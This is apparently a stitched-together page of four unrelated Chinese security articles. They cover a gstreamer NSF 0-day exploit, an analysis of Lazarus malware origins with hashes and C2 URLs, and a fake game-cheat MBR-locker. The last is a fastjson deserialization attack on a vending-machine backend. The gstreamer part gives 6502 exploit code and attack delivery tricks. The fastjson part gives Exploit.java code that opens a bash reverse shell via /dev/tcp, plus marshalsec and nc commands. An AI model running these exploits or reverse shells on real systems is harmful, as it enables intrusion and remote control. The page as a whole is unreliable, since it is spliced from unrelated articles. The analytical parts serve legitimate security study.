**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**
**
**概览**
gstreamer 0.10.x
播放器在播放NSF格式的音乐文件的时候，存在一个漏洞和单独的逻辑错误。两者结合，可以实现非常稳定的漏洞利用方法，并且能过绕过64位ASLR，DEP等等。所谓的稳定是因为该音乐播放器里提供一个图灵完备的“脚本语言”。[NSF文件](https://en.wikipedia.org/wiki/NES_Sound_Format)是任天堂游戏机中的音乐文件。有意思吧？那就继续往下看。。。
**漏洞演示及受影响的发行版本**
下图是触发该漏洞的一个截图。比较让人揪心的是，漏洞触发不需要用户打开恶意文件——只需要打开恶意文件所在位置，就可实现。下面有更多内容。
你可以从exploit_ubuntu_12.04.5_xcalc.nsf下载这个文件。在上图中，文件被重命名为“time_bomb.mp3”，下面我们会解释为什么要这么做。
从文件名中可以看出，这个漏洞可以在Ubuntu
12.04.5下进行利用。这是一个较老但仍然有官方支持的发行版本。此外，在重现漏洞方面，该PoC可在未进行相关更新的Ubuntu
12.04.5下直接执行。如果你进行了全部更新，会安装一个新版本的glibc，而里面一些代码的偏移量发生了改变，因此该PoC一定会失效崩溃，但仍然可以通过编写新的PoC代码实现适配任意版本的glibc。这项工作就留给读者当做练习了。
漏洞存在于gstreamer-0.10版本的一个音频解码器libgstnsf.so里。Ubuntu
12.04使用gstreamer-0.10处理所有音频处理需求。而Ubuntu
14.04显然也受到该漏洞的影响，因为gstreamer-0.10是默认安装的，但大部分多媒体软件使用同样被安装的gstreamer-1.0进行相关的处理。目前还不清楚Ubuntu
14.04中何时使用存在漏洞的gstreamer-0.10进行媒体处理的具体情况。Ubuntu
16.04默认只安装了gstreamer-1.0，因此不受此漏洞的影响。
这个漏洞存在于所谓的“默认”安装。在Ubuntu系统安装时，会有出现一个提示信息：“hey, do you want mp3s to
work?”，当然，正确答案是“yes”。随后许多额外的包，包括gstreamer0.10-plugins-bad就被安装了，而其中就包含了libgstnsf.so。
等等，你说什么？0day？还有PoC？
是的，0day。
作为一个学习实验，我未来公开的大部分漏洞都会是0day。我在参与所谓的“协作公开”中获得了大量经验，即让收到漏洞预警的厂商花费他们需要的时长进行修复（为了让苹果公司修复一个Safari浏览器漏洞，我曾经等了一年！）而在“全面公开”方面，即厂商和公众同时获取到漏洞的细节，我明显缺乏更多的经验。声明一点，我非常确定在“协作公开”和“全面公开”上的正确平衡就是在两者之间做出妥协。Project
Zero的90天期限策略似乎能较好地实现这个妥协，并且有很多的数据可以支持这一策略。
不要担心，这个0day并不严重，只影响到非常老的Linux发行版本（见上述）。这个0day更多的是好玩而不是影响。未来的0day影响可能才会更加广泛。;-)
**
**
**关于0day的哲学问题**
如果补丁和0day同时发布，那还能算是0day么？下面就是针对Ubuntu 12.04的补丁：
sudo rm /usr/lib/x86_64-linux-gnu/gstreamer-0.10/libgstnsf.so
第一眼的话，这个“补丁”似乎是直接删掉了这个功能，其实不是。你的NSF文件仍然能够播放。WTF？你能相信Ubuntu
12和14为了播放NSF文件都装载了两个不同的代码库么？为一个很少见的格式配备的那么多播放器似乎显得多余。第二个NSF播放器基于libgme，并且没有像第一个播放器那样存在该漏洞。
**攻击面**
这个漏洞利用了gstreamer-0.10中播放NSF音乐文件的插件。这些NSF音乐文件跟其他大多数能在系统上播放的音乐文件不一样。典型的音乐文件是基于数学计算进行压缩和解码的，但是NSF音乐文件却是通过实时模拟任天堂（NES）CPU和音频硬件来播放的，厉害了！gstreamer插件创建了一个虚拟的6502
CPU硬件环境，然后通过在一段时间里运行一些6502指令，再到虚拟出的音频硬件寄存器中找到指令运行的结果，基于这个方法，实现音频的播放。
如果你对真正播放一个NSF文件感兴趣的话，可以下载这个文件：cv2.nsf，这是游戏恶魔城2中的音频文件，你还可以通过谷歌“nsf music
files”等关键字，很容易就能找出类似的音频文件。如果你的桌面版Linux支持NSF文件，你就应该能通过执行一些命令实现播放，例如“totem
cv2.nsf”。（如果不支持的话，你的Linux系统可能会自动安装一个合适的插件进行播放。）这个文件只有17264字节，对于文件中包含的音频数量来说，文件占用空间显得太小了，不足以存放那些内容，但是这个大小却足以容纳一些小程序通过向基本的NES硬件发出序列请求，从而发出一系列简单的声音。
**实现这个漏洞利用，有多种精巧而不同的方法：**
通过邮件附件形式发送。如果目标用户下载并打开了附件，就遭到了该攻击。注意，为了让恶意文件正常执行，你可能需要重命名exploit.nsf为exploit.mp3。因为大多数桌面版Linux系统无法识别NSF文件类型，但却会把MP3文件的字节序列传递给媒体播放器。大部分基于gstreamer的播放器都会忽略文件的后缀名，而使用自动检测出的文件格式选择合适的解码器。
依靠部分路过式下载。利用谷歌Chrome浏览器文件下载的UX（用户体验），当访问一个陷阱网页时，有可能将该恶意文件直接转储到目标用户的下载文件夹中。而当之后通过文件管理器（例如nautilus）浏览到该下载文件夹时，系统会自动尝试为已知后缀名的文件生成缩略图（所以，需要将恶意NSF文件后缀名改为.mp3）。而为恶意NSF文件生成缩略图时，会触发该漏洞。
依靠完整路过式下载。还是利用谷歌Chrome浏览器的下载UX，有一种方法可以利用完整的路过式下载实现漏洞利用，具体方法会在另外一篇博文中描述。
基于USB设备进行。打开USB存储设备时，仍然会自动生成已知后缀名文件的缩略图，同上。
**6502 CPU介绍和任天堂ROM加载以及分页崩溃过程**
6502 CPU本身是一个传奇，同时被大量也堪称传奇的系统所使用，如任天堂，Commodore 64，BBC
Micro等。这是一个8位的CPU，但是有着16位寻址能力，并且拥有64kB的地址空间。在任天堂应用中，高32kB的地址空间（0x8000 –
0xffff）保留给了ROM，即插入的游戏卡中的只读数据。
现在有个有趣的问题：如果你想制作一个大于32kB的游戏该怎么办？
例如，你有一个16关的游戏，每一关都有16kB大小的视频和音频数据。那么32kB的空间是不可能放得下的。为了解决这个问题，便出现了“库（bank）”和“库切换（banks
switching）”的概念。所谓库，就是ROM上一块对齐、连续的4kB区域。一共有8个库，分布在6502地址0x8000 –
0xffff上。每个库都可以映射为游戏卡ROM（可以远大于32kB）上一个连续、对齐的4kB区域。在运行时，任天堂程序可以对魔法内存（magic
memory）位置（0x5ff8 – 0x5fff）进行写操作。这一位置包含控制将ROM中哪一部分映射到哪个库中的硬件寄存器。
例如：如果6502 CPU向0x5ff9写入数值10，那么6502内存位置0x9000 –
0x9fff就会被映射为游戏卡ROM中的索引（10*4096）处。
**漏洞**
1：在映射到6502内存和库切换时，缺少对ROM大小的检查（此处没有CVE，可以当做是CESA-2016-0001。）
在提到的ROM映射上，几乎是完全没有边界检查。不仅是初始加载ROM时是这样，后续的一系列库切换操作同样没有边界检查。所有对ROM映射的处理都在gst-plugins-bad/gst/nsf.c，包括：
nsf_bankswitch (uint32 address, uint8 value)
{
...
cpu_page = address & 0x0F;
roffset = -(cur_nsf->load_addr & 0x0FFF) + ((int) value << 12);
offset = cur_nsf->data + roffset;
...
cur_nsf->cpu->mem_page[cpu_page] = offset;
…
上面的代码片段中，cur_nsf->data指向实际的ROM数据即音频文件的内容。文件格式非常简单：128字节的头（以“NESM”四个字母开始），剩下的就是ROM。所以，举个例子，假如你有一个200字节的文件，那么就是128字节的头和72字节的ROM。通过单个malloc()函数，即可将所有ROM的数据都保存在主机模拟器的堆中。可以看出，offset指针可以指向ROM堆内存中的任意位置，而没有对任何类型的长度进行检查！
再举个更具体的例子：我们对200字节的文件进行最简单的ROM加载，虚拟ROM加载地址会是0x8000，而加载代码仍会多次调用nsf_bankswitch()，对应的参数分别是：地址（address）从0x5ff8
– 0x5fff，库索引（value）从0 – 7。这会导致6502虚拟地址0x8000被映射为nsf->data +
0，0x9000被映射为nsf->data + 4096，……一直到0xf000被映射为nsf->data + (7 *
4096)。所以即使在这个非常简单的例子中，从6502模拟器中线性地读取0x8000 –
0xffff就会导致实际读取到72字节的ROM数据和32696字节的越界堆数据。
但这只是一个越界读取，因为模拟器中的虚拟地址0x8000 –
0xffff是只读的。在模拟器下，一个越界（OOB）读取漏洞并不是特别严重。或许可以将其用作绕过ASLR的工具，但任何从主机堆中读取到的敏感数据都只能用来产生声音。这个模拟器没有任何高级功能，例如通过网络连接传出堆数据的能力。最严重的情况，也就是该模拟器运行在一个提供音频格式转换的网络服务器上，攻击者可以将部分越界读取到的堆的内容输出到转换文件中的音频内容，从而获取到服务器中的堆数据。
但是，这个特殊的模拟器中的另外一个逻辑处理错误加重了事态的严重性：
2：能够通过加载或者库切换操作，使ROM映射到可写的内存位置（本身或许算不上一个真正的漏洞；no identified assigned.）
我其他的任天堂音乐播放器上发现，都不允许在0x8000地址以下进行ROM加载或者库切换。但是这个特殊的播放器，通过在文件头中写入低于0x8000的ROM加载地址，或者通过向库寄存器0x5ff6或0x5ff7中写入（其他的模拟器甚至没有0x5ff6或0x5ff7这么低的库寄存器），却可以实现在0x8000地址以下进行写入：
static nes6502_memwrite default_writehandler[] = {
{0x0800, 0x1FFF, write_mirrored_ram},
{0x4000, 0x4017, apu_write},
{0x5FF6, 0x5FFF, nsf_bankswitch},
{(uint32) - 1, (uint32) - 1, NULL}
};
例如，向0x5ff6处写入0x00，会使得ROM中的前4096字节在6502虚拟地址0x6000处映射为可读可写。在我们200字节的文件样例中，这个操作意味着通过向虚拟地址0x6048写入一串0x41，会导致这一串0x41被越界写到对应的主机上模拟器的堆中。
可以发现，现在我们对主机上模拟器的堆，有了很多读写方面的控制，一些经验丰富的漏洞挖掘人员或许已经意识到一次漏洞利用已经可以确定了。
**漏洞利用：概览**
下面是在okteta（一个16进制编辑器）中查看的漏洞利用文件：
图上可以看到的是一个完整的漏洞利用文件，文件被压缩到仅仅416字节。途中标出了三种颜色的线条，表示漏洞利用文件中的不同部分。
蓝色，表示128字节的文件头。文件头大部分的字节都与漏洞利用不相关，因此实际上，一些高明的漏洞利用技术会把一些payload压缩到文件头中，以增大空间利用率。你也可以尝试将这种方法应用到这个漏洞中来，使用尽可能少的字节实现相同的功能，这将会是一个很有意思的挑战:)而文件头中重要的字段列举如下：
位于0x08偏移的0x8000（使用小端存储，下面也是）。表示ROM虚拟加载地址。
位于0x0A偏移的0x8070。表示6502初始例程（调用一次）的虚拟地址。
位于0x0C偏移的0x80a0。表示6502每帧例程的虚拟地址。
位于0x6E偏移的0x41A1。表示帧对时。为了确保音频引擎正常工作，需要保留该数值。
橘色，表示元数据，位于ROM的开始，紧随文件头之后。这些元数据会被加载到虚拟地址0x8000处，可以由6502程序获取和使用。元数据中包含字符串“xcalc”，即我们的payload，一个用来在堆中搜索定位的常量（使漏洞利用更可靠），和一个向堆中执行读取、增加、写入的操作表，以实现漏洞利用。
绿色，表示真正的6502操作指令。漏洞利用会通过一个使用6502汇编语言编写的程序继续进行。由于上述的漏洞细节，音频播放模拟器会在主机上模拟器的堆中模拟这些指令。
**漏洞利用：细节**
到底漏洞利用文件是怎么做到在如此小的体积下实现弹出一个计算器的呢？文件大小是416字节：128字节的文件头和288字节的ROM，其中ROM被映射到虚拟6502地址0x8000。ROM中包含一些元数据和一些6502指令。
为了探索6502以及“编译”6502汇编代码，推荐这个网站：Easy 6502。这个网页声称“6502 is
fun！”——我也这么认为。详细注释指令操作的6502汇编代码可以从这里找到：asm_final_main.asm。还有一些附加小程序：asm_final_init.asm，asm_final_adder.asm。
漏洞利用后续步骤：
**1：在堆中定位nes6502_context类型的重要元数据对象**
因为上面提到的漏洞，任何从0x8120 –
0xffff的读操作都会导致越界读取，所以我们因此可以一直进行越界读取，直到找到主机的堆中对应nes6502_context的对象，nes6502_context的定义如下：
typedef struct
{
uint8 * mem_page[NES6502_NUMBANKS]; /* memory page pointers */
...
nes6502_memread *read_handler;
nes6502_memwrite *write_handler;
int dma_cycles;
uint32 pc_reg;
uint8 a_reg, p_reg, x_reg, y_reg, s_reg;
uint8 int_pending;
} nes6502_context;
为什么非要定位这个对象？有两个原因。第一，它控制6502虚拟内存如何访问到主机堆的内存映射。通过控制映射，我们能够获取到主机进程的虚拟内存上任何位置的读写权限。第二，它包含指向BSS段的指针。而定位BSS段在之后的漏洞利用中很重要。
**2：重新映射6502可读写的虚拟地址0x6000，使其指向nes6502_context::mem_page[6]**
下面的代码是通过写入魔法硬件寄存器，将0x6000映射到越界ROM外：
; 一些非常简单的计算和内存库的重映射。
; 匹配的地址存储在0x02。例如：0x91b0
; 从匹配的地址减去0x60。
; 这将更早地索引到堆中的元数据对象。
; 即索引到一个指向6502 0x6xxx RAM的堆指针
; 减去0x8000，得到距离ROM基址的偏移量。
LDA $02
SEC
SBC #$60
STA $02
LDA $03
SBC #$80
STA $03
; 现在，0x02包含了结果。即与例子相对应的0x1160。
; 进行移位操作，获取ROM对应的库号，即最高位的值。
; 每个库的大小都是0x1000
LSR
LSR
LSR
LSR
; 在这个例子中，我们的库号是1。
; 把1写入魔法硬件寄存器0x5ff6中。
; 将0x6xxx处的RAM映射为ROM中0x1000的位置。
; 从而可以实现对主机的堆进行越界操作。:-)
; 注意，0x6xxx是可写的，而0x8xxx是只读的，所以我们需要这么干。
; 假设0x6xxx地址空间中的偏移量0x160是堆指针，
; 那么利用这个堆指针就可以从6502地址0x6160对堆进行读写操作了。
STA $5ff6
如果你对6502还不是很熟，但愿你能理解这些简洁的操作指令。下面是一些注意事项：
没有指定次数的位移操作。因此，4个LSR（逻辑右移）操作，等效于C语言中的 >> 4。
8位的处理器，不存在16位的寄存器。所以一次简单的16位运算需要被分成两半进行，同时还要处理标志位（SBC为带借位减法）。
当相应ROM上的库被映射为可写后，就要进行一些正常的计算了——将库偏移量增加到对应主机堆指针nes6502_context::mem_page[6]处。这是一个非常精确的内存损坏漏洞，需要等到下一帧才会生效，保证0x6000能精确的指向nes6502_context::mem_page[6]，即我们要映射的任何库偏移量的位置。
**3：在每帧一次的循环中，进行一系列读取/添加/写入操作**
有了6502虚拟地址0x6000指向nes6502_context::mem_page[6]的条件之后，我们就可以开始使用6502操作指令精确读写全部主机堆（栈/BSS/或者是任何可以找到的指针）了。如果我们修改mem_page数组，那么到下一帧访问6502内存时才会生效，所以我们每一帧只简单的做一次内存修改。
读取/添加/写入的一些列操作位于ROM中偏移量为0x20的地方，每个操作都是8字节，如第一个操作：
50 60 08 60 60 6f ff ff
这个操作代表，从0x6050读取8字节，加上0xffff6f60（符号扩展，这里相当于减法），然后写入到虚拟地址0x6008处。
**4：计算libgstnsf.so中BSS段的地址**
nes6502_context::read_handler指向BSS中的一个对象，是一个位于BSS段开头固定位置的值，而这个值现在已经存储在虚拟地址0x6050中了。我们计算出BSS的起始位置，然后写入到虚拟地址0x6008处，即nes6502_context::mem_page[7]的位置。也就是说，我们把BSS映射到了一个可读可写的6502虚拟地址0x7000处。
**5：修改memset()的GOT表**
在GOT表偏移量0xf8的位置，是memset()的函数指针。这个指针指向glibc，而指针现在被映射到虚拟地址0x70f8处。你知道glic中还有什么相对偏移量固定的函数指针么？system()。通过增加一个固定值到GOT表中的memset()函数指针，我们可以实现后续调用memset()函数时变成调用system()函数。
**6：将nes6502_context::read_handler对象映射到0x7000处**
下面是read_handler的定义；read_handler指针指向一个如下的数组：
typedef struct
{
uint32 min_range, max_range;
uint8 (*read_func)(uint32 address);
} nes6502_memread;
下面是数组中的一些记录：
static nes6502_memread default_readhandler[] = {
{0x0800, 0x1FFF, read_mirrored_ram},
{0x4000, 0x4017, apu_read},
{(uint32) - 1, (uint32) - 1, NULL}
};
如你所见，这个对象中包含函数指针，很有用处。另外，那些对6502某个虚拟地址进行内存访问操作中会调用的函数指针也很有用。
**7：更改apu_read()的函数指针**
通过访问虚拟地址0x7018，我们现在访问到了read_handler BSS对象的0x18偏移处，存储着读取0x4000 –
0x4017的apu_read()函数指针。我们向该函数指针增加一些偏移量（0x1d0），从而使函数指针指向改变到了apu_reset()函数。你马上就能知道为什么要这么做了！
**8：计算BSS变量apu的地址，再次利用nes6502_context::read_handler中的一个固定相对偏移量**
apu定义如下：
/* pointer to active APU */
static apu_t *apu;
通过计算，使虚拟地址0x7000指向apu的值。
**9：将apu指针的值复制到内存中的库映射，以便我们间接引用虚拟地址0x7000上的apu对象**
这里只需要一定程度的间接指针跟随，因为BSS的值只是一个指向堆中实际对象的指针。
**10：将字符串“xcalc”写入到apu对象中**
apu对象的大小还是比较大的：
typedef struct apu_s
{
rectangle_t rectangle[2];
triangle_t triangle;
noise_t noise;
dmc_t dmc;
uint8 enable_reg;
apudata_t queue[APUQUEUE_SIZE];
…
通过向0x70f0进行写入，我们就可以实现对apu结构中偏移量为0xf0的地方进行写入，即queue的缓冲区域。我们将字符串“xcalc”写入到此处。
**11：从0x4000地址处进行读取**
然后就弹出了一个计算器！难道是黑魔法？当然不是，我们之前的步骤中的一系列小心的操作造成了这个计算器的弹出。下面是本步骤背后的一些执行顺序：
1\. 6502从0x4000开始读取。
2\. 这个特殊的内存地址，本来是应该调用apu_read()函数指针来处理读取访问的。
3\. 然而，调用的却是apu_reset()，因为我们之前已经更改了对应的函数指针。
4\. apu_reset()包含这句代码：memset (&apu->queue, 0, APUQUEUE_SIZE * sizeof
(apudata_t));
5\. 但是，我们将memset()函数的GOT表指向了system()函数，并且向apu->queue中写入了字符串“xcalc”。
6\. 因此，执行的是system("xcalc")，然后就弹出了计算器。
一些漏洞利用的附加说明：
在如下一些程序中，该漏洞利用文件一样可以进行工作：
Totem
Rhythmbox（效果太好，以至于会弹出两个计算器）
gst-launch-0.10
nautilus (有可能是启动了一个子进程——totem-video-thumbnailer)
我们不需要考虑堆布局的变化。这些代码能扫描堆中可利用的元数据对象，而不是依靠一个固定的偏移量来定位，因而提供了更大的可靠性。聪明的读者可能会注意，对堆的扫描只能向前进行，并且只能扫描大小约32kB的空间。因此，如果堆抖动导致所有重要的元数据对象都被分配到了ROM数据之前怎么办？这的确有可能，但是在这个例子中并不会造成太大的麻烦。因为NSF解码器运行在一个全新的线程，通常都会分配一个新的堆上，从而在堆布局上较为得当。这样，元数据对象会临时分配到ROM数据之后，因此，通常在堆中也会被放到ROM数据之后。即便如此，如果ROM数据足够大的话，是有可能被放到元数据对象之后的（确切的说，是由于固定的堆大小导致的）。
最后一点关于堆布局的说明，如果需要的话，我们是能做一些堆“修饰”的。例如除了攻击者控制的ROM大小，还有一些不固定长度的文件头字符串（音乐标题等）会被分配到堆上。另外，gstreamer中格式检测的代码非常复杂，有可能提供更多的机会去控制堆的状态。 | 社区文章 |
# 追踪溯源：分析Lazarus恶意软件的起源
原文链接：<https://www.intezer.com/paleontology-the-unknown-origins-of-lazarus-malware/>
## 0x00 简介
McAfee和Intezer联合开展的研究证明，来自朝鲜的某个攻击小组Lazarus一直在恶意软件工具集中重复使用代码，现在全球安全研究人员都知道这个事实。
研究人员和逆向工程师在分析恶意软件的过程中，发现恶意软件代码存在一种共同模式。
众所周知，攻击者所使用的是开源项目，比如我们在另一篇[文章](https://www.intezer.com/north-korea-iran-use-codeproject-develop-malware/)中记载的CodeProject，或者像Gh0st RAT这样的开源RAT。
根据研究人员的描述，大家一直都认为这段代码最早由朝鲜创建，从2007年开始活跃至今。
我们最近在VirusTotal上通过我们的Vaccine功能（Yara签名）发现了一些样本，样本的检测结果可追溯至2016年，通过这种方式我们找到了朝鲜攻击者工具集的起源：一个名为CasperPhpTrojan的开源RAT，该开源项目可在中文网站上获取。
## 0x02 CasperTroy
最开始时，我们在野外发现的这个样本与Lazarus组织的签名匹配，并且只有3/65的检测率。 在Intezer
Analyze™中检查后，我们看到了该样本与Red
Gambler存在代码重用现象，这与[AhnLab](https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.91_ENG.pdf)最初公布的结果一致。
<https://analyze.intezer.com/#/analyses/47eff0cd-fc54-44c4-ba33-18e0ae21f3ca>
在特洛伊木马中，我们还可以看到该模块的内部名称为`DllTroy.dll`，这与Lazarus的已知特征有关。
字符串重用是我们这次研究的基础，并将很快揭晓`CasperTroy`名称的来源。 许多攻击活动、Operation
Troy（从2011年开始的某次Lazarus攻击活动）所使用的典型Lazarus样本以及攻击组织武器库中的另一款工具Prioxer中都存在重复使用的字符串。
我们看到重复的字符串，决定在Google上搜索`7d414e351603fa`，只找到了7个结果，这将带我们进入本研究的下一个主题
：朝鲜的恶意软件工具集源自哪里？
## 0x03 CasperPhpTrojan来源
这个开源木马CasperPhpTrojan的源代码最初发布在中国开源项目网站`pudn[.]com`上。
我们下载了源代码，阅读并编译整个代码，发现可以在Lazarus恶意软件中识别出类似特征。
我们想通过比较原始代码和不同Lazarus二进制文件的反汇编来向大家展示我们收集的一些证据。
此外，大部分证据都记录在之前的[文章](https://www.intezer.com/blockbusted-lazarus-blockbuster-north-korea/)中，文中我们提到代码中存在一些奇怪特征，并且相同的代码是不断被重复使用：即使代码存在错误也依然如此，如下的第三个案例所示。
1、HTTP头部（各种攻击活动及恶意软件）
（CASPER.CPP）
（不同Lazarus样本反汇编后的结果）
2、TrojUploader函数
（casper_trojan.cpp）
（TDrop样本）
3、`GetProcAddress(LoadLibrary(“Kernel32.dll”), “GetProcAddress”);`
（CASPER.CPP）
（2014及2017年的Lazarus样本）
4、API解析过程
（casper_inject.cpp）
（各种Lazarus样本）
## 0x04 总结
尽管Lazarus对CasperPhpTrojan进行了许多修改，但主要架构基本相同。我们相信，当源代码在正确的环境下使用正确的标志进行编译时，可以发现编译出的代码和Lazarus二进制文件之间存在更多相关性。
看上去该恶意软件是攻击者工具集的基础，这也是为什么在与迈克菲关于朝鲜的全面研究中我们会发现Lazarus恶意软件之间存在如此多代码复用特征的原因所在。
大家可以在您可能希望在我们的[DPRK时间线](https://analyze.intezer.com/#/dprk-timeline)上了解我们分析出的攻击时间表以及代码复用的相关文件。
## 0x05 IOC
**CasperTroy（2016）释放器** ：
458ffcc41959599f8dab1fd4366c9a50efefa376e42971c4a436aa7fd697a396
d1cf03fbcb6471d44b914c2720821582fb3dd81cb543f325b2780a5e95046395
**CasperTroy（2016）RAT** ：
ec73fe2ecc2e0425e4aeb1f01581b50c5b1f8e85475c20ea409de798e6469608
c62ec66e45098d2c41bfd7a674a5f76248cf4954225c2d3a2cfcd023daa93522
926a2e8c2baa90d504d48c0d50ca73e0f400d565ee6e07ad6dafdd0d7b948b0e
**CasperTroy C &C地址**：
http://ready-jetkorea[.]com/data/file/pop/write_ok.php
http://plsong[.]com/xe/addons/counter/conf/write_ok.php
**共享代码的样本** ：
TDrop f4b7b36e9c940937748d5bba3beb82b7c3636f084e5e913c7a5ad3ad623ffbc5
MYDOOM 1b6a1320fba00dd2e56e35cf6f11f941deabcb6e4dba7ea773ded7e3d648ec54
KoreDos 068b89e2ec5655d006f2788ea328e5f12bd57ba761ee03c4de2fb0aa01c92c7f
DarkSeoul 4915f53221dc7786710a7a82a9cb00cf8468e0d1155a1355c9eb17e8cddfd265 | 社区文章 |
# 【木马分析】伪装QQ飞车外挂的“MBR锁”木马分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**0x1 前言**
在过完年开工之际，黑产从业者也回到了他们的工作岗位上，在短短的一周内，相继爆发了“纵情”敲诈者以及伪装QQ飞车外挂的“MBR”敲诈者两款国产敲诈者木马。国产敲诈者在敲诈金额，技术手段以及加密方式上都远远落后于国外的敲诈者木马，但国产敲诈者的最大优点就是能把握住卖点，比如以游戏外挂作为噱头。除此之外，国产敲诈者还喜欢诱导用户关闭杀软以达到所谓的“最佳体验”。可以说，国产敲诈者胜在了“套路”。
本文分析的国产敲诈者即为伪造QQ飞车外挂的“MBR”敲诈者。据受害者称，想使用该QQ飞车外挂软件就必须输入注册码，在向某群管理员索取注册码并输入注册后，计算机立即并被锁住，要求添加一QQ号（3489709452）获取解锁密码。受害计算机如下图所示。
图1 受害计算机界面
可见，计算机并未正常启动，受害者遭遇的就是常见的“MBR”锁。
**0x2 样本分析**
回到最初的QQ飞车外挂，外挂界面很常见，需要输入注册码才能正常使用。
图2 外挂界面
细观该外挂界面，发现其和某盾加密处理后的程序界面相似，遍历字符串也能发现一些与某盾加密相关的字符串。因此可以断定该外挂软件使用某盾加密保护，使用者只有输入正确的注册码才能获得相应的功能。由于某盾加密强度高，在不持有密码的情况下很难对受保护的软件进行破解，这也导致外挂使用者需要找管理员要开启密码的情况。急切渴望使用外挂的受害者们在得到开启密码一定是欣喜若狂的，他们一定不知道开启后才是噩梦的开始。
前面提到了某盾加密“在不持有密码的情况下很难对受保护的软件进行破解”，之所以提及“不持有密码的情况下”，是因为即使在拥有密码的情况下，某盾加密对程序的保护也比较特殊。在本例中，进程会在同目录下创建一个名为“飞车通杀辅助VIP2.exe”的程序，并调用ShellExecute函数运行该程序。
图3 运行“飞车通杀辅助VIP2.exe”
但实际上，在磁盘中，也就是该路径下并不存在这个文件。这也是某盾加密为了防止加密视频播放时被提取而采取的策略。某盾加密会调用自身SDK中名为“CreateVirtualFileA”的函数在内存中创建文件，而不是直接让文件“落地”，这其实也稍微加大了分析的难度，分析者必须对程序进行patch以使创建的文件“落地”。
patch的位置即“CreateVirtualFileA”函数。根据某盾加密逻辑，程序会首先调用“CreateVirtualFileA”函数创建虚拟文件，然后使用WriteFile函数将解密后的数据写入文件。使用CreateFile函数patch掉“CreateVirtualFileA”可使文件落地。如图所示。
图4 patch前
图5 patch后
对程序进行patch后，执行MBR修改功能的敲诈者主体就“落地”了。
图6 “落地”的恶意程序
该程序也是一款定制的程序，可以看出作者只是将一些定制的模块拼接起来构成一个敲诈者木马。从字符串中可以看出，定制者可以自定义MBR加密的密码以及显示在屏幕上的文字。
图7 表示可以自定义定制的字符串
之后就是常规的锁MBR流程，打开磁盘0并读取前512字节，也就是主引导记录。
图8 打开磁盘0
图9 读取主引导记录
之后程序会将原本的主引导代码保存到磁盘0偏移0x400起始的位置，该位置是磁盘0的第三扇区。此举用于备份初始的MBR代码，当受害者输入正确的密码之后，就会将备份的MBR代码恢复到第一扇区中，以保证系统能够正常启动。
图10 设置偏移
图11 备份最初的MBR代码
之后程序就会修改主引导记录，修改后的主引导记录如下图所示。
图12 被篡改的MBR代码
反汇编MBR代码可以看到密码比较的流程以及之后的处理流程。首先通过int 16h中断获取用户输入，并将存储输入结果。
图13 获取并存储输入
图14 比较输入与密码
通过查看存放密码的地址可以发现密码为“ O0 ” （即空格，大写字母O，数字0，空格）。在比对成功之后，将通过int
13h中断读取存储在第3扇区的最初的MBR代码并将其写入到第1扇区，以恢复系统的正常使用。
图15 恢复MBR
**0x3 总结**
通过该样本可以看出，国产敲诈者在技术上并不高深，而且习惯于拼接各种软件或模块，以达到其恶意目的。这些模块虽然互相独立且功能有限，但经过组合之后成为一个功能强大且自保能力强的恶意软件。而这些国产敲诈者也牢牢抓住一些特定用户的注意力，披着外挂的外衣干这坏事，让人措手不及。对于陌生的软件，用户应该慎点，在中毒后也不要轻易添加qq交付赎金，应向杀软方面进行及时反馈以恢复系统的使用。360安全卫士独家推出了“反勒索服务”，用户在安装360安全卫士并开启该服务的情况下，如果防不住各类敲诈者病毒，360负责替用户赔付赎金。 | 社区文章 |
# 对某自动售货机的测试记录之命令执行
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
上一讲说了随手一测就[发现了越权](https://www.anquanke.com/post/id/207189)，程序员修改之后依然可以绕过鉴权。
但是我想深挖，肯定还有其他问题。
本次测试为授权友情测试，本文提交之前已通知厂商修复，谁让我白帽子，谁让我钱在上面呢。：）
## 执行条件:
需要拥有后台账号,任何权限都行。
## 详情
上一讲的说了越权的事，大家也注意到了，发送的POST包为 **Json** 格式。
所以大胆猜测一下，存在 **fastjson** 的命令执行.
**fastjson** 的漏洞原因网上很多，我就不多说了，大家跟着来看一下我的复现过程：
### 准备
#### 首先我们需要准备三个文件:
marshalsec-0.0.3-SNAPSHOT-all.jar : https://github.com/mbechler/marshalsec
Exploit.java
Exploit.class
Marshalsec我编译的时候遇到坑，所以大家编译的时候注意自己的JDK版本。
Exploit.java也遇到了坑，看是网上找的是一个据说能秒杀很多版本的exp:
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
//Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
实际在利用的时候如何都不成功，浪费了我很多时间，最后是用了普通版本的exp反而成功，由此可以猜测服务器的Fastjson版本相当低.
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/yourIP:8888 0>&1"); //你需要在服务器执行的命令，我这里是反弹shell，需要修改为自己的IP和监听端口
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
准备好Exploit.java之后，使用javac命令即可编译为我们需要的Exploit.class
#### 准备服务
这三个文件都可以直接放在有公网IP的服务器上.
Marshalsec用于RMI和LDAP的服务创建.
开启RMI或LDAP服务运行命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP/#Exploit
Exploit.class需要放置在公网任何webserver下，只要目标服务器可以下载即可.
还需要在当前服务器运行
nc -lvvp 8888
监听本地端口，该端口需要与Exploit内的端口和服务器IP一致。
### 执行
以上文件和服务都准备好之后，可以发送自己的POST包执行：
POST包需要根据对方Fastjson版本做修改和绕过,请自行搜索.
### 结果
如果对方存在Fastjson反序列化漏洞，那么你的服务器会收到来自目标服务器的访问.:
LDAP将会把请求Redirect到Webserver，Fastjson将会下载Exploit.class，并解析运行。
